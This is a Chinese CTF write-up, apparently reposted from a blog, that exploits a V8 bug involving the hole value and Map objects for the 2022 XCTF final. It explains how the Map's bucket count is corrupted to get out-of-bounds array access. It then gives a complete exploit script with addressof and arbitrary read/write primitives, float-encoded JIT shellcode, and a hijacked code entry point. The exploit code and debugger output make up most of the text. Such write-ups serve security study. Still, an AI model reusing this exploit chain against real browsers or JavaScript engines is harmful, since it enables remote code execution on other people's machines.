2022xctf-final hole

发布时间:2023年12月22日

这个题是做到的第一个利用hole和map来制造oob的题目,挺有意思的记录一下

首先根据题目给出的信息可知涉及到此漏洞
https://crbug.com/1263462

poc如下:

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
// %DebugPrint(m);
print(m.size);

这里的%TheHole只有开启了–allow-natives-syntax才可以使用,如果不能开的话还需要另一个漏洞来获取一个hole对象。

这里主要想记录如何利用hole和map来制造oob以及记录一下用立即数执行shellcode,所以就直接用那个函数来获取hole了。

首先需要了解map对象的结构,执行一下测试代码:

m = new Map();
m.set(1, 0x1234);
m.set(2, 2);
m.set(3, 3);
m.set("aaaa","bbbb");
%DebugPrint(m);
%SystemBreak();

内存中长这样
在这里插入图片描述

map中的每个key-value的存储单元是entry,实现如下

interface Entry {
    key: any;
    value: any;
    chain: number;
}

每个buckets相当于一个哈希桶,如果map里只有四个entry,则哈希桶的数量是2,然后entry中的chain相当于当发生哈希冲突的时候存储在同一个buckets里的下一个entry的index。elements里则是存储了每个具体的entry。

有关map的具体内存使用方式可以看这个,讲的很详细
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df

现在手里有一个size为-1的map,则下一次进行set的时的entry会向上写,buckets和entry的机构可以参考这个图
在这里插入图片描述

这个图和上面的gdb内存图对应起来可以解释为

entry count就是job命令打印出来的elements:4,deleted count为deleted:0,bucket count对应为buckets:2,capacity是一个计算出的值,不会再内存中有具体存储,这三个值对应着一个map对象的header,接下来的hashtable对应着的是buckets字典。后面的elements字典对应的是datatable,结构单元是一个一个的entry。

所以当我们能够在-1的位置写一个entry,并且bucket的数量为2的时候,意味着我们可以把这个entry的key写到bucket count字段上去,修改了bucket count就意味着这个map对象的entry偏移变了,原本存储entry的地址被认为成了是bucket,所以再次进行set的时候会把entry放到更远的位置,造成越界写,如果越界写恰好改变了某个array的length,则造成了大范围的自由OOB,后续的思路就比较常规了。所以这个题主要难点在于能否找到并理解那个poc以及对map的内存结构是否熟知。

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(0x1001,0x4000);
%DebugPrint(oobarray);
%DebugPrint(m);
%SystemBreak();

通过修改bucket的数量为0x10,恰好可以使entry的value字段覆盖到array的length字段,但是这里写的时候要注意key是有限制的,必须在map自己的哈希过后对应的hashtable里值为-1

在这里插入图片描述

经过修改以后的map只有0和1的位置是-1,其他都是undefined,所以用的key需要爆破一下。

哈希代码的具体实现是

uint32_t ComputeUnseededHash(uint32_t key) {
    uint32_t hash = key;
    hash = ~hash + (hash << 15);
    hash = hash ^ (hash >> 12);
    hash = hash + (hash << 2);
    hash = hash ^ (hash >> 4);
    hash = hash * 2057;
    hash = hash ^ (hash >> 16);
    return hash & 0x3fffffff;
}

在这里插入图片描述

于是采用0x40a作为key,制造一个oobarray

pwndbg> job 0x14200042401
0x14200042401: [JSArray]
 - map: 0x014200203b01 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0142001cb07d <JSArray[0]>
 - elements: 1034 [PACKED_DOUBLE_ELEMENTS]
 - length: 16384
 - properties: 0x014200002251 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x14200006325: [String] in ReadOnlySpace: #length: 0x014200144255 <AccessorInfo name= 0x014200006325 <String[6]: #length>, data= 0x0142000023d9 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 1034 {
 }

可以看到array的长度已经被改大了,并且程序没有出现任何崩溃。

但是此时发现elements的地址被改成了一个不正常的数,最后set的key是直接使用的oobarray,才算真正解决了这个问题

后面就没什么需要解释的地方了。

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
function p64(val) {
	dv.setUint32(0,val & 0xFFFFFFFF,true);
	dv.setUint32(0x4,val >> 32,true);
	var float_val = dv.getFloat64(0,true);
	return float_val;
 }
 function p64(low4,high4) {
	dv.setUint32(0,low4,true);
	dv.setUint32(0x4,high4,true);
	var float_val = dv.getFloat64(0,true);
	return float_val;
 }
 function u64(val){
	dv.setFloat64(0,val,true);
	return dv.getBigInt64(0,true)
 }
 function u64_l(val) {
	dv.setFloat64(0,val,true);
	return dv.getUint32(0,true);
 }
 
 function u64_h(val) {
	dv.setFloat64(0,val,true);
	return dv.getUint32(0x4,true);
 }
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}
function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(oobarray,0x4000);
var obj={'target':0x5678>>1};
var array_buf=[1.1,2.2];
var obj_idx=0;
for(let i=0;i<0x100;i++)
{
	let t=f2i(oobarray[i])>>32n;
	if(t==0x5678n)
	{
		obj_idx=i;
		break;
	}
}
console.log("[*] obj_idx is 0x"+hex(obj_idx));
function addressof(object)
{
	obj.target=object;
	return f2i(oobarray[obj_idx])>>32n;
}
var ele_idx=obj_idx+8;
var tmp=f2i(oobarray[ele_idx])%0x100000000n;
var shell_addr=addressof(shellcode)-1n;
console.log("[*] shell_addr is 0x"+hex(shell_addr));
function weak_read(address)
{
	oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));
	return f2i(array_buf[0]);
}
function weak_write(address,value)
{
    oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));
    array_buf[0]=i2f(value);
}
var code_addr=weak_read(shell_addr+0x18n);
var code_entry_point=weak_read(code_addr-1n+0x10n);
weak_write(code_addr+0x10n-1n,code_entry_point+103n);
//%DebugPrint(oobarray);
console.log("[*] code_addr is 0x"+hex(code_addr));
console.log("[*] code_entry_point is 0x"+hex(code_entry_point));
%DebugPrint(obj);
//%DebugPrint(array_buf);
%DebugPrint(shellcode);
%SystemBreak();
shellcode();
文章来源:https://blog.csdn.net/weixin_46483787/article/details/135142683
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。